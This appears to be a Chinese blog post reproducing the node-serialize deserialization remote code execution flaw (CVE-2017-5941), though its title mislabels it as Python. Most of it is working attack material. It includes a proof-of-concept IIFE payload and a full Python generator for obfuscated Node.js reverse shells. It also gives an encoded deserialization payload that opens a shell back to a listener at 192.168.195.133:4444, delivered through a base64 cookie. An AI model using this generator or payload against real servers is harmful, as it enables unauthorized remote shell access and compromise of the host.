python反序列化漏洞_Node.js 反序列化漏洞(CVE-2017-5941)

漏洞详情

不可信的数据传入 unserialize() 函数，通过传递立即调用函数表达式(IIFE)的 JavaScript 对象可以实现任意代码执行。

来自网络请求的 cookie 会传递到node-serialize 的序列化/反序列化模块 的 unserialize() 函数中

payload

test.js

var serialize = require('node-serialize');

var payload = '{"rce":"_$$ND_FUNC$$_function (){require(\'child_process\').exec(\'ls /\', function(error, stdout, stderr) { console.log(stdout) });}()"}';

serialize.unserialize(payload);

1.png

漏洞复现

安装序列化模块

npm install node-serialize@0.0.4 --save

编写测试页面代码

var http = require('http');

http.createServer(function (request, response) {

// 发送 HTTP 头部

// HTTP 状态值: 200 : OK

// 内容类型: text/plain

response.writeHead(200, {'Content-Type': 'text/plain'});

// 发送响应数据 "Hello World"

response.end('Hello World\n');

}).listen(8888);

// 终端打印如下信息

console.log('Server running at http://127.0.0.1:8888/');

运行代码后使用web浏览器访问ip:8888并抓包

图片.png

使用代码生成反向shell的payload

#!/usr/bin/python

# Generator for encoded NodeJS reverse shells

# Based on the NodeJS reverse shell by Evilpacket

# https://github.com/evilpacket/node-shells/blob/master/node_revshell.js

# Onelineified and suchlike by infodox (and felicity, who sat on the keyboard)

# Insecurety Research (2013) - insecurety.net

import sys

if len(sys.argv) != 3:

print "Usage: %s " % (sys.argv[0])

sys.exit(0)

IP_ADDR = sys.argv[1]

PORT = sys.argv[2]

def charencode(string):

"""String.CharCode"""

encoded = ''

for char in string:

encoded = encoded + "," + str(ord(char))

return encoded[1:]

print "[+] LHOST = %s" % (IP_ADDR)

print "[+] LPORT = %s" % (PORT)

NODEJS_REV_SHELL = '''

var net = require('net');

var spawn = require('child_process').spawn;

HOST="%s";

PORT="%s";

TIMEOUT="5000";

if (typeof String.prototype.contains === 'undefined') { String.prototype.contains = function(it) { return this.indexOf(it) != -1; }; }

function c(HOST,PORT) {

var client = new net.Socket();

client.connect(PORT, HOST, function() {

var sh = spawn('/bin/sh',[]);

client.write("Connected!\\n");

client.pipe(sh.stdin);

sh.stdout.pipe(client);

sh.stderr.pipe(client);

sh.on('exit',function(code,signal){

client.end("Disconnected!\\n");

});

});

client.on('error', function(e) {

setTimeout(c(HOST,PORT), TIMEOUT);

});

}

c(HOST,PORT);

''' % (IP_ADDR, PORT)

print "[+] Encoding"

PAYLOAD = charencode(NODEJS_REV_SHELL)

print "eval(String.fromCharCode(%s))" % (PAYLOAD)

图片.png

生成反序列化payload，并在函数后面添加 IIFE 括号 ()

{"rce":"_$$ND_FUNC$$_function (){ eval(String.fromCharCode(10,118,97,114,32,110,101,116,32,61,32,114,101,113,117,105,114,101,40,39,110,101,116,39,41,59,10,118,97,114,32,115,112,97,119,110,32,61,32,114,101,113,117,105,114,101,40,39,99,104,105,108,100,95,112,114,111,99,101,115,115,39,41,46,115,112,97,119,110,59,10,72,79,83,84,61,34,49,57,50,46,49,54,56,46,49,57,53,46,49,51,51,34,59,10,80,79,82,84,61,34,52,52,52,52,34,59,10,84,73,77,69,79,85,84,61,34,53,48,48,48,34,59,10,105,102,32,40,116,121,112,101,111,102,32,83,116,114,105,110,103,46,112,114,111,116,111,116,121,112,101,46,99,111,110,116,97,105,110,115,32,61,61,61,32,39,117,110,100,101,102,105,110,101,100,39,41,32,123,32,83,116,114,105,110,103,46,112,114,111,116,111,116,121,112,101,46,99,111,110,116,97,105,110,115,32,61,32,102,117,110,99,116,105,111,110,40,105,116,41,32,123,32,114,101,116,117,114,110,32,116,104,105,115,46,105,110,100,101,120,79,102,40,105,116,41,32,33,61,32,45,49,59,32,125,59,32,125,10,102,117,110,99,116,105,111,110,32,99,40,72,79,83,84,44,80,79,82,84,41,32,123,10,32,32,32,32,118,97,114,32,99,108,105,101,110,116,32,61,32,110,101,119,32,110,101,116,46,83,111,99,107,101,116,40,41,59,10,32,32,32,32,99,108,105,101,110,116,46,99,111,110,110,101,99,116,40,80,79,82,84,44,32,72,79,83,84,44,32,102,117,110,99,116,105,111,110,40,41,32,123,10,32,32,32,32,32,32,32,32,118,97,114,32,115,104,32,61,32,115,112,97,119,110,40,39,47,98,105,110,47,115,104,39,44,91,93,41,59,10,32,32,32,32,32,32,32,32,99,108,105,101,110,116,46,119,114,105,116,101,40,34,67,111,110,110,101,99,116,101,100,33,92,110,34,41,59,10,32,32,32,32,32,32,32,32,99,108,105,101,110,116,46,112,105,112,101,40,115,104,46,115,116,100,105,110,41,59,10,32,32,32,32,32,32,32,32,115,104,46,115,116,100,111,117,116,46,112,105,112,101,40,99,108,105,101,110,116,41,59,10,32,32,32,32,32,32,32,32,115,104,46,115,116,100,101,114,114,46,112,105,112,101,40,99,108,105,101,110,116,41,59,10,32,32,32,32,32,32,32,32,115,104,46,111,110,40,39,101,120,105,116,39,44,102,117,110,99,116,105,111,110,40,99,111,100,101,44,115,105,103,110,97,108,41,123,10,32,32,32,32,32,32,32,32,32,32,99,108,105,101,110,116,46,101,110,100,40,34,68,105,115,99,111,110,110,101,99,116,101,100,33,92,110,34,41,59,10,32,32,32,32,32,32,32,32,125,41,59,10,32,32,32,32,125,41,59,10,32,32,32,32,99,108,105,101,110,116,46,111,110,40,39,101,114,114,111,114,39,44,32,102,117,110,99,116,105,111,110,40,101,41,32,123,10,32,32,32,32,32,32,32,32,115,101,116,84,105,109,101,111,117,116,40,99,40,72,79,83,84,44,80,79,82,84,41,44,32,84,73,77,69,79,85,84,41,59,10,32,32,32,32,125,41,59,10,125,10,99,40,72,79,83,84,44,80,79,82,84,41,59,10))()"}

将payload进行base64编码，再Cookie头中加入 Payload，开启监听，向服务器发送请求

图片.png

此时获取到Ubuntu的shell

图片.png